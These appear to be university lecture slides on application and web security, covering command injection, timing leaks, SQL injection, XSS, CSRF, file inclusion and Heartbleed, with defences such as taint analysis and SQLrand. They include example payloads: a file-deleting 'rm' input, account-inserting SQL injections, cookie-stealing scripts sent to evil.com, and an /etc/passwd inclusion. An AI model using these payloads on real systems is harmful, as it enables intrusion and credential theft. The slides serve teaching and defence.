
# **Application Vulnerabilities**

### A Motivating Example

Break into a system or escalate your privilege



### Two General Approaches

- Identify the credential to break in
  - Weak password
  - Brute force
  - Social engineering
  - <del>-</del> .....

- Compromise the program vulnerabilities
  - Incomplete mediation
  - Timing attacks
  - Buffer overflow

**—** .....

### Incomplete Mediation

- A program fails to perform "sanity checks" on data.
- An Example:
  - A program that accepts a filename, and outputs its content to a student.

```
void main(int argc, char ** argv) {
    char buf[1024];
    char* filename = get_str_from_socket();
    sprintf(buf,"cat %s",filename);
    output_socket(system ("buf"));
}
```

```
%telnet server
> homework1.txt
> Question1
```

```
%telnet server
```

- homework1.txt; rm ./\*
- > Question1.....
- > (all files are deleted)

### Timing Vulnerability

The timing of a program leaks sensitive information.

A password verification program.

```
Boolean check(String x) {
   pwd = "ohmekciziks";
   len = pwd.len();
   if(x.len() != len)
       return false;
   i = 0;
   while (x[i] == pwd[i]) {
       if(i == (len -1))
           return true;
       i++;
   return false;
```

#### Attacker

Capability: password is composed of chars (26);

can identify the time-consumption/CPU-cycles

Objective: obtain password

#### **Brute Force Attack**

Try all the possible combination of chars. How many times do you need to try (if the attacker knows that the length of the password is 11)?  $26 * 26 * .... 26 => 26^{11}$ 

### Timing Vulnerability

A Better Way?

A password verification program.

```
Boolean check(String x) {
   pwd = "ohmekciziks";
   len = pwd.len();
   if(x.len() != len)
       return false;
   i = 0;
   while(x[i] == pwd[i])
       if(i == (len -1))
          return true;
       i++;
   return false;
```

# **Timing Vulnerability**




Figure from Michael A. Erlinger at Harvey Mudd College

### **Buffer Overflow**

 A Buffer Overflow is an anomaly where data is stored beyond the boundary of a fixed-length buffer.



### **Buffer Overflow**

Stack Overflow

Heap Overflow

Detailed Discussion in Host Security.

### Web Security

- The World Wide Web (web)
  - WWW is everywhere
    - Banking, shopping, education, communicating, news, ...
  - A lot of applications to support WWW
    - Browsers
    - Servers






### Web Basics


- A web browser identifies a web site with a uniform resource locator (or URL)
- URL (protocol://hostname:port/path-and-file-name)
  - Protocol: The application-level protocol used by the client and server, e.g., HTTP, FTP, and telnet.
  - Hostname: The DNS domain name or IP of the server.
  - Port: The TCP port number that the server is listening for incoming requests from the clients.
  - Path-and-file-name: The name and location of the requested resource, under the server document base directory.
- An example
  - http://www.example.com/directory/file.html

### **Basic Architecture**




### Web Basics

HTTP Request



### Web Basics


#### HTTP Response



### Provide Inputs to the HTTP Server in URLs

#### • Get

 Parameters & Values are contained in the URL of the request



### Provide Inputs to the HTTP Server in URLs

#### Post

 Parameters & Values are contained in the body of the request

```
POST /ReqAndResChapter4/allparams.do HTTP/1.1
Host: localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Referer: http://localhost:8080/ReqAndResChapter4/allparams.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 203
name=Kumar&crust=deep&toppings=peas&toppings=pineapple&toppings=onion&appetizer=Cheese+Garlic+Bread&address=123%2C+1st+lane%2C+park+avenue&cardType=Visa&cardNum=1234567890&cardNum=1234567890&submit=Order+Pizza

C theopentutorials.com

FORM PARAMETERS
```

### **HTTP Response**

- Data
  - HTML

- Executable Scripts
  - Javascript
  - VBScript

#### HTML

- Hypertext markup language (HTML)
  - Text formatting
  - Itemized lists
  - Hyperlinks
  - Scripting code
  - Embedded images

### **Javascript**

- Scripts that can be executed by the browser
  - Program, not only data.

- Scripts can be embedded in the HTML code.
  - <script></script>

### How Does a Server Generate Responses

- Static Data
  - E.g., an pure HTML file (with javascript)

- Scripts: dynamically generate content
  - PHP
  - ASP.NET
  - Java
  - **–** .....

#### PHP

#### Example

A PHP file named as "people.php"

```
<html>
    <head>
    <title>Query string </title>
    </head>
    <body>
    <?php
    // The value of the variable name is found
    echo "<h1>Hello " . $_GET["name"] . "</h1>";
    // The value of the variable age is found
    echo "<h1>You are " . $_GET["age"] . " years old </h1>";
    5>
    </body>
    </html>
```

#### PHP


- Example
  - A PHP file named as "people.php"

- Visit this webpage
  - http://www.example.com/people.php?name=Joe &age=24

What is the response?


# Server-Side Scripting

Scripting the server



# Server-Side Scripting

Scripting the server



# An Example

```
<!DOCTYPE html>
<html>
<body>
<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";
// Create connection
$conn = new mysqli($servername, $usemame, $password, $dbname);
// Check connection
if ($conn->connect_error) {
  die("Connection failed: " . $conn->connect_error);
$sql = "SELECT id, firstname, lastname FROM MyGuests";
$result = $conn->query($sqI);
if ($result->num_rows > 0) {
  // output data of each row
  while($row = $result->fetch_assoc()) {
    echo "<br/>br> id: ". $row["id"]. " - Name: ". $row["firstname"]. " " . $row["lastname"] . "<br/>;
} else {
  echo "0 results";
$conn->close();
</body>
</html>
```

### **SQL** Injection Attack

- Exploit a security vulnerability in an SQL application (e.g., web application)
  - A specific case of "incomplete mediation"
- Considered as one of the top 10 web application vulnerabilities of 07 and 10
- A large number of incidents
  - 2014: Biomedical Engineering Servers, Johns Hopkins University
  - 2013: 71 Chinese government databases are compromised using SQL injection
  - **–** ......

One of the most popular Internet applications

Home

Login

Username:

Password:

Please note your password is case sensitive.

Login


Forgot Password?
External Registration

#### Welcome

To access online courses, please log in with your CAMPUS username and CAMPUS password, the ones you use for WINGS and Wright State email.

Need assistance? Contact the Help Desk.

Is your system compatible with Pilot?





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### Under the Hood



User — Web Server — Database

### A Quick Review of Database

- Querying
  - Select column1, column2 from table\_name;
  - Select \* from table\_name;


- Querying with conditions
  - Select column1, column2 from table\_name where condition;

### A Quick Review of Database

- Inserting new rows
  - insert into table\_name set column1=value1, column2=value2;
- Updating rows
  - update table\_name set column1=value1 where condition;
- Deleting rows
  - delete from table\_name where condition;

### A Quick Review of Database

- Comments: "--"
  - select \* from student\_table --select \* from faculty\_table
- Always true logic: 'a' = 'a'
  - select \* from student\_table where 'a' = 'a'
- Multi statements: S1;S2
  - select \* from student\_table; select \* from faculty table;







Example from CSE7330 at SMU (lyle.smu.edu/~mhd/**7330**f09/**boyd**.ppt)

?>

#### **Timmothy Boyd** Hack Me! SQL Injection <? Member Login OR 'a' = 'aUsername: function connect to db() {...} Password: function display form() {···} (Login) function grant access() {...} function deny access() {···} CSE 7330 - SQL Injection Presentation connect to db(); if (!isset(\$ POST['submit'])) { display form(); else{ // Get Form Data \$user = stripslashes(\$ POST["username"]); \$pass = stripslashes(\$ POST["password"]); // Run Query \$query = "SELECT \* FROM `login` WHERE `user`='\$user' AND `pass`='\$pass'"; echo \$query . "<br><br>"; \$SQL = mysql query(\$query); // If user / pass combo found, grant access if(mysql num rows(\$SQL) > 0) grant access(); SELECT \* FROM 'login' WHERE 'user' = 'OR TRUE AND 'pass' = '2 deny access(); SELECT \* FROM 'login' WHERE TRUE

Example from CSE7330 at SMU (lyle.smu.edu/~mhd/7330f09/boyd.ppt)



#### A Web Application **Timmothy Boyd Hack Me! SQL Injection** '; INSERT INTO 'login' ('user', 'pass') VALUES ('hacker', '12345');--**Member Login** Username : function connect to db() {···} Password: XXX function display form() {···} (Login) function grant access() {...} function deny access() {···} CSE 7330 - SQL Injection Presentation connect to db(); if (!isset(\$ POST['submit'])) { display form(); else{ // Get Form Data \$user = stripslashes(\$ POST["username"]); \$pass = stripslashes(\$ POST["password"]); // Run Query

## A Web Application

#### **Timmothy Boyd Hack Me! SQL Injection** '; UPDATE 'login' SET 'pass'='12345' WHERE 'user'='David14';-**Member Login** Username : function connect to db() {···} Password: XXX function display form() {···} (Login) function grant access() {...} function deny access() {···} CSE 7330 - SQL Injection Presentation connect to db(); if (!isset(\$ POST['submit'])) { display form(); else{ // Get Form Data \$user = stripslashes(\$ POST["username"]); \$pass = stripslashes(\$ POST["password"]); // Run Query \$query = "SELECT \* FROM `login` WHERE `user`='\$user' AND `pass`='\$pass'"; echo \$query . "<br>>"; \$SOL = mysql query(\$query); // If user / pass combo found, grant access if(mysql num rows(\$SQL) > 0) grant access(); // Otherwise deny access else deny access(); ?> Example from CSE7330 at SMU (lyle.smu.edu/~mhd/**7330**f09/**boyd**.ppt)

# Cross-Site Scripting (XSS)

- A scripting vulnerability that enables attackers to bypass the same origin policy of browsers
- XSS vulnerabilities
  - Twitter
  - Facebook
  - MySpace
  - YouTube
  - Orkut
  - **—** .....

 One webpage can only read properties of another webpage if they share the same server, protocol, and port

 If the same server hosts unrelated sites, scripts from one site can access document properties on the other

 One webpage can only read properties of another webpage if they share the same <u>server</u>, <u>protocol</u>, and <u>port</u>

http://www.example.com/dir/test.html





**ACCESS** 

# Compared URL http://www.example.com/dir/page.html http://www.example.com/dir2/other.html http://www.example.com:81/dir/other.html https://www.example.com/dir/other.html http://en.example.com/dir/other.html http://example.com/dir/other.html http://example.com/dir/other.html

 One webpage can only read properties of another webpage if they share the same <u>server</u>, <u>protocol</u>, and <u>port</u>


http://www.example.com/dir/test.html





Compared URL	Outcome	Reason
http://www.example.com/dir/page.html	Success	Same protocol and host
http://www.example.com/dir2/other.html	Success	Same protocol and host
http://www.example.com:81/dir/other.html	Failure	Same protocol and host but different port
https://www.example.com/dir/other.html	Failure	Different protocol
http://en.example.com/dir/other.html	Failure	Different host
http://example.com/dir/other.html	Failure	Different host (exact match required)
http://v2.www.example.com/dir/other.html	Failure	Different host (exact match required)

 If the same server hosts unrelated sites, scripts from one site can access document properties on the other



## JavaScript

- Language **executed** by browser
- JavaScript programs in a webpage will follow the same-origin policy.

#### **Threat**

## Webpage with sensitive information

- Personal information
- Credential
- Cookie

## **Evil webpage controlled by attackers**


 JavaScript used for malicious purpose (e.g., information stolen)



Attempt to Access



#### **HTTP Cookie**



## Get Cookie Using Javascript


var x = document.cookie;



## Two Types of Attacks

- Persistent XXS Attacks
  - Saved persistently in the database
  - Damage massive users
- Non-Persistent XXS Attacks
  - Targeted victims

## Post A Message in the Forum



T love ya really... Reply | Quote


#### Persistent Attacks

Hello World!
<script>
new Image().src="http://evil.com/log.cgi?c="+encodeURI(document.com/log.cgi")"

new Image().src="http://evil.com/log.cgi?c="+encodeURI(document.cookie);

</script>





**POST** 

A web Forum (www.sss.com) that keeps users' sensitive information

#### Persistent Attacks



### Real-World Examples?

- Too many to be enumerated!
- But you may want to know "Samy Worm"
  - The site that hosts malicious javascript code
  - MySpace.com
  - Oct/4/2005
  - More than one million victims within 24 hours
  - Fastest spreading worm of all time!

## Samy Worm




be, and as long as I live she will never be forgotten, but most of all, samy is my hero.

## Samy Worm


- Users can post HTML on their pages
  - MySpace.com ensures HTML contains no

- With careful javascript hacking:
  - Samy worm infects anyone who visits an infected MySpace page
    - Adds Samy as a friend.
    - Repost the message in the wall.

#### Non-Persistent Attacks



#### Non-Persistent Attacks



#### Non-Persistent Attacks





victim's browser



<FRAME SRC=
http://naive.com/hello.cgi?
name=<script>win.open(
"http://evil.com/steal.cgi?
cookie="+document.cookie)
</script>>

GET/ hello.cgi?name= <script>win.open("http:// evil.com/steal.cgi?cookie"+ document.cookie)</script>



GET/ steal.cgi?cookie=


<HTML>Hello, dear
<script>win.open("http://
evil.com/steal.cgi?cookie="
+document.cookie)</script>
Welcome!</HTML>

#### **CSRF**

- Cross-site request forgery (CSRF): force victim browser to send request to external website
  - → performs task on browser's behalf

#### **CSRF**

6. Accept the cookie; perform actions



#### **CSRF**

- Example:
  - force load
    - <img
      src="http://www.bigbank.com/transferFunds.php?from=User&to=A
      ttacker"/>

Server side

```
<?php
    session_start();
    if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))
    {
        buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
    }
}</pre>
```

# Solution to Injection

- Root-cause
  - Data from untrusted source gets executed!

#### Solutions

- Check whether the data collected from untrusted source gets executed.
- The injected data (instructions) do not match with the instructions executed by the CPU.

## **Dynamic Taint Analysis**

 "Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software", James Newsome and Dawn Song, Network and Distributed Systems Security Symposium (NDSS), Feb 2005

#### TaintCheck: Basic Ideas

- Mark all input data to the computer as "tainted" (e.g., network, stdin, etc.)
- Monitor program execution and track how tainted data propagates (follow bytes, arithmetic operations, etc.)
- Detect when tainted data is used in dangerous ways (e.g., jump to tainted data)

#### **TaintSeed**

- Marks any data from untrusted sources as "tainted"
  - Shadow memory is used to mark whether a byte in the memory is tainted or not.

```
int main (int argc, char

**argv)
{
    printf("%s", "CEG");
    foo(argv[1]);
    printf("%s", "7900")
}

void foo (char *bar)
{
    char c[12];
    strcpy (c, bar); //no bound
}

./test "abcdef87654"
```

#### TaintTracker

- Tracks each instruction that manipulates data in order to determine whether the result is tainted.
  - Data movement instructions
    - LOAD, STORE, MOVE, PUSH, POP, and etc.
    - Rule: if any byte of data at the source location is tainted, the data at the destination will be tainted
  - Arithmetic instructions
    - ADD, SUB, XOR, and etc.
    - Rule: the result will be tainted if any byte of the operands is tainted

```
#include <string.h>
int main (int argc, char **argv)
 printf("%s", "CEG");
                                     TaintTracker
 foo(argv[1]);
 printf("%s", "7900")
void foo (char *bar)
                    XXX
                    YYY
                                 # instrs for printf
 char c[12];
 strcpy (c, bar);
                    push argv[1]
                    call foo
                               #EIP will be pushed
             adr1
                    pop
                    ZZZ
                               #instrs for printf
                    KKK
             foo:
                    push EBP
                    mov ESP, EBP
                    sub 12 ESP #Allocate buffer
                    copy data
                    mov EBP ESP
                    pop EBP
                    ret
                   0xF
                   0xF
```

/0

#### ./test "0xFF223...... 0xABCD Malicious Instructions X (shellcode) X **OxABCD** argv[1] **NULL ESP** Previous func's frame NULL

Memor

) v

#### **TaintAssert**

- Checks whether tainted data is used in ways that its policy defines as illegitimate
  - Jump addresses: whether the tainted data is used as a jump target (e.g., a return address)
  - Format strings (format string attacks)
  - System call arguments (for certain system calls such as execve)

```
#include <string.h>
int main (int argc, char **argv)
 printf("%s", "CEG");
                                       TaintAssert
 foo(argv[1]);
 printf("%s", "7900")
void foo (char *bar)
                    XXX
                    YYY
                                 # instrs for printf
 char c[12];
 strcpy (c, bar);
                    push argv[1]
                    call foo
                               #EIP will be pushed
             adr1
                    pop
                    ZZZ
                               #instrs for printf
                    KKK
             foo:
                    push EBP
                    mov ESP, EBP
                    sub 12 ESP #Allocate buffer
                    copy data
                    mov EBP ESP
                    pop EBP
                    ret
                    0xF
                    0xF
```

./test "0xFF223...... 0xABCD Malicious Instructions X (shellcode) X **OxABCD** argv[1] **NULL ESP** Previous func's frame NULL

Memor

Shadow Memory

V

/0


X


## Implementation

- Emulator (e.g., QEMU)
  - You can program a CPU

- Just-In-Time Compiler (e.g., Intel PIN)
  - Dynamically instrument binaries

#### Instruction Set Randomization





## Implementation

- E.g., Using Intel PIN
  - http://nsl.cs.columbia.edu/projects/minestrone/isr/

#### SQLrand: Preventing SQL Injection Attacks

A protection mechanism against SQL injection attacks.

Similar to instruction set randomization.

# System Architecture




Fig. 1. SQLrand System Architecture

## Randomization

Identify keywords in an SQL statement

Rewrite all keywords with the random key appended.

## De-randomization

- Identify terms/keywords (e.g., starting from the original keywords)
  - E.g., select123 or select456 or select
- Evaluate the format
  - Keyword + random number
  - Detect mal-formed keywords
- Stripping away the random number
- Send it to the DBMS

#### Parse Tree Validation

- Objective
  - Detect SQL injection attacks at runtime.

- Observation
  - All SQL injections alter the structure of the query intended by the programmer.

## The Structure of an SQL Query

Parse tree of an intended query





Fig. 1. A SELECT query with two user inputs.


## The Structure of an SQL Query

Parse tree of an injected query



## The Structure of an SQL Query

Parse tree of an injected query



## Server-Side Script Inclusion Vulnerabilities

Server Side Script (index.php) on victim.com:

```
<?php
include("header.html");
include($_GET['page'].".php");
include("footer.html");
?>
```

#### Intended Use

victim.com/index.php?page=news

```
<?php
include("header.html");
include($_GET['page'].".php");
include("footer.html");
?>
```

## Malicious Use (Remote-File Inclusion)

 victim.com/index.php?page=http://evilsite.co m/evilcode


```
<?php
include("header.html");
include($_GET['page'].".php");
include("footer.html");
?>
```

## Malicious Use (Local-File Inclusion)

victim.com/index.php?page=/etc/passwd%00

```
<?php
include("header.html");
include($_GET['page'].".php");
include("footer.html");
?>
```

## Web Security



# Web Security

- Complexity
  - Protocols
    - Client
    - Server
  - Browsers
    - Data
    - Scripts
  - Servers
    - Data
    - Scripts

## Example

- Each file on the web server (under the web directory) can be invoked directly from the network by giving its name as part of the URL
  - --> Each file represents an unintended entry point

# WordPress OptimizePress Theme – File Upload Vulnerability

The beginning of the vulnerable files:

```
<?php include "../../../wp-config.php"; ?>
<?php get_template_directory(); ?>
```

The beginning of the patched files:

```
<?php include "../../../wp-config.php";
    if ( !current_user_can('add_users') ) {
        echo 'You cannot access this file. Sorry.';
        exit;
    }
?>
<?php get_template_directory(); ?>
```

#### Discussion

```
Ln2: if (isset($_GET['post_id']))
          $post_id = $_GET['post_id'];
      $sql="DELETE FROM blogdata WHERE post_id=$post_id";
Ln3:
Ln4: $query=mysql_query($sql)
          or die("Cannot query the database. <br>");
Ln5: ...
Ln6: if(isset($varUninitialized))
         echo($varUninitialized):
Ln7: ...
Ln8: if (isset($_GET['content']))$str=$_GET['content'];
Ln9: if (isset($_GET['eol']))$eol=$_GET['eol'];
Ln10: $encoded=chunk_split($str,76,$eol);
Ln11: $value=unserialize(stripslashes($_POST[$afield]));
Ln12: ...
Ln13: if(isset($_GET['year'])) $year = $_GET['year'];
Ln14: \$i = 1962;
Ln15: while( $i <= $year )</pre>
Ln16: {
Ln17:
         if( $i < 3000 ){ processYear($i); }</pre>
         else { $i=$year; continue; }
Ln18:
Ln19:
         $i++;
Ln20: }
```

#### Resources

- (Fresh) Vulnerabilities
  - <a href="https://blog.sucuri.net/">https://blog.sucuri.net/</a>


- The Open Web Application Security Project
  - https://www.owasp.org/index.php/About\_OWASP

## Heartbleed


Security bug discovered in the OpenSSL library

- Yes. OpenSSL
  - Used everywhere (the implementation of TLS protocol)
- "At the time of disclosure, some 17% (around half a million) of the Internet's secure web servers certified by trusted authorities were believed to be vulnerable to the attack, allowing theft of the servers' private keys and users' session cookies and passwords" (Wiki)

## Heartbleed



```
struct
{
     HeartbeatMessageType type;
     uint16 payload_length; //16 bits -> number of bytes for payload
     opaque payload[HeartbeatMessage.payload_length];
     opaque padding[padding_length];
} HeartbeatMessage;
```



Receive the heartbeat message

```
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;
```

Send back the received message

```
    /* Enter response type, length and copy payload */
    *bp++ = TLS1_HB_RESPONSE;
    s2n(payload, bp);
    memcpy(bp, pl, payload);
```


```
Receive
                                  Respond
   hbtype = *p++;
                                      *bp++ =
                                  TLS1_HB_RESPONSE;
   n2s(p, payload);
                                      s2n(payload, bp);
   pl = p;
                                      memcpy(bp, pl, payload);
                                            Type
          Type
                                             Len
          Len
pΙ
                                           payload
         payload
```


#### Receive

```
hbtype = *p++;
n2s(p, payload);
pl = p;
```

#### Respond

```
*bp++ =
TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
```







#### Receive


```
hbtype = *p++;
n2s(p, payload);
pl = p;
```


#### Respond

```
*bp++ =
TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
```









```
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 4681
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
 0000: 02 40 00 20 2F 63 6F 6E 66 69 67 2F 70 77 74 6F .@. /config/pwto
 0010: 6B 65 6E 5F 67 65 74 3F 73 72 63 3D 79 65 6D 61 ken get?src=yema
 0020: 69 6C 69 6D 61 70 26 74 73 3D 31 33 39 36 39 35 ilimap&ts=139695
 0030: 39 32 35 38 26 6C 6F 67 69 6E 3D 68 6F 6C 6D 73 9258&login=holms
 0040: 65 79 37 39 26 70 61 73 73 77 64 3D ey79&passwd=
 0050: 5 73 69 67 3D 4E 37 64 72 70 &sig=N7drp
 0060: 68 45 4A 53 6E 77 50 5A 69 62 34 39 34 39 55 33 hEJSnwPZib4949U3
 0070: 51 2D 2D 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 0-- HTTP/1.1..Ho
 0080: 73 74 3A 20 6C 6F 67 69 6E 2E 79 61 68 6F 6F 2E st: login.yahoo.
 0090: 63 6F 6D 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A com..Accept: */*
 00a0: 0D 0A 59 61 68 6F 6F 52 65 6D 6F 74 65 49 50 3A ..YahooRemoteIP:
 00b0: 20 38 31 2E 31 30 38 2E 35 0D 0A 81.108. ..
 00c0: 0D 0A CE 76 37 B9 80 99 10 68 EF 4A 6E 33 E0 80 ...v7....h.Jn3..
 00d0: 73 24 55 FB 1A BB 92 81 9C 20 AF E6 BE E9 26 65 s$U..... &e
 00e0: 70 51 A2 33 32 95 7F 9F 07 FB C4 5E C6 82 D5 9A pQ.32.....^...
 00f0: 13 C0 CF 8D D6 52 73 16 OF 4E 0A EE 8F 3E 3B DE .....Rs..N...>;.
 0100: C4 70 6E 1C 56 FF 30 20 59 61 68 6F 6F 4D 6F 62
                                                    .pn.V.0 YahooMob
 0110: 69 6C 65 4D 61 69 6C 2F 31 2E 30 20 28 41 6E 64 ileMail/1.0 (And
 0120: 72 6F 69 64 20 4D 61 69 6C 3B 20 33 2E 30 2E 32 roid Mail; 3.0.2
 0130: 35 29 20 28 7A 34 75 3B 48 54 43 3B 48 54 43 20 5) (z4u;HTC;HTC
 0140: 44 65 73 69 72 65 20 35 30 30 3B 34 2E 31 2E 32 Desire 500;4.1.2
 0150: 2F 4A 5A 4F 35 34 4B 29 0D 0A 43 6F 6F 6B 69 65 /JZ054K)..Cookie
 0160:
 0170: 65 26 62 3D 34 26 64 3D 32 7A 31 43 6B 2E 35 70 e&b=4&d=2z1Ck.5p
 0180: 59 45 4A 78 4F 70 70 5A 4A 43 58 38 6E 44 6A 4E YEJxOppZJCX8nDjN
                                   67 2D 2D jr 7KHXg--
 01a0: 26 73 3D 61 37 26 69 3D 42 5F 54 38 72 53 6C 43 &s=a7&i=B T8rS1C
 01b0: 4A 61 61 58 70 54 73 43 63 4C 71 36 3B 20 65 78 JaaXpTsCcLq6; ex
 01c0: 70 69 72 65 73 3D 46 72 69 2C 20 30 38 2D 41 70 pires=Fri, 08-Ap
 01d0: 72 2D 32 30 31 36 20 31 32 3A 31 34 3A 31 36 20 r-2016 12:14:16
 01e0: 47 4D 54 3B 20 70 61 74 68 3D 2F 3B 20 64 6F 6D GMT; path=/; dom
 01f0: 61 69 6E 3D 2E 79 61 68 6F 6F 2E 63 6F 6D 3B 46 ain=.yahoo.com;F
 0200: 3D 61
                                                     =a= 7SszB
                                       7A 42
 0210: 58 76 30 54 6F 6D 32 6A 4F 61 30 52 46 2E 52 66 Xv0Tom2jOa0RF.Rf
 0220: 53 73 4D 4F 39 75 4D 64 66 77 68 31 58 50 75 71
                                                     SsMO9uMdfwh1XPuq
 0230: 1 2E 2E 73 4B 4A 37 6F 37
                                                    ____.sKJ7o7
 0240: 6E 70 58 56 56 30 56 55 7A 63 2D 26 62 3D 4A 4B npXVV0VUzc-&b=JK
 0250: 78 5A 3B 20 65 78 70 69 72 65 73 3D 46 72 69 2C xZ; expires=Fri,
 0260: 20 30 38 2D 41 70 72 2D 32 30 31 36 20 31 32 3A 08-Apr-2016 12:
 0270: 31 34 3A 31 36 20 47 4D 54 3B 20 70 61 74 68 3D 14:16 GMT; path=
```

# Mobile Data Charging: New Attacks and Countermeasures




Figure 5: Web browsing in normal and attacked cases.

(b) Under a toll-free-data-attack

## Fail to Fail Safe

```
DWORD dwRet = IsAccessAllowed(...);
if (dwRet == ERROR_ACCESS_DENIED) {
    // Security check failed.
    // Inform user that access is denied
} else {
    // Security check OK.
    // Perform task...
    What if
```

IsAccessAllowed()
returns
ERROR\_NOT\_
ENOUGH\_MEMORY?

# Popularity -> Threat



- Storm Codec (Baofeng)
  - The most popular multimedia player in China
    - A huge number of users
    - Not malicious
  - DNS query implementation
    - If DNS query fails, send more queries faster and faster
  - OK, Baofeng's authoritative DNS servers are down on 2009
    - What happens?
- Implications
  - Popular applications?
  - Large online advertisement companies?


# Backup

#### Detection

- Signature-based detection
  - "DROP Table"
  - "Insert into"
- Anomaly Detection
  - Query syntax analysis
    - Injected content change the parse tree of a query

#### Detection

- Anomaly Detection
  - Query Syntax Analysis



#### **Anomaly** where clause bcond bcond bterm bterm bfactor bfactor bterm bfactor cond cond cond value value value value value value comp comp str\_lit comp num id num\num id WHERE uname = 'John' AND cardtype = 2 OR 1 = 1

#### Prevention

- Mediate Input
  - Use pattern matching

Hide error messages

READ ONLY Database Access

#### Prevention

- Whitelisting
  - Define what should be accepted

- Blacklisting (NO)
  - It can never be complete

# Mobile Data Charge

TBA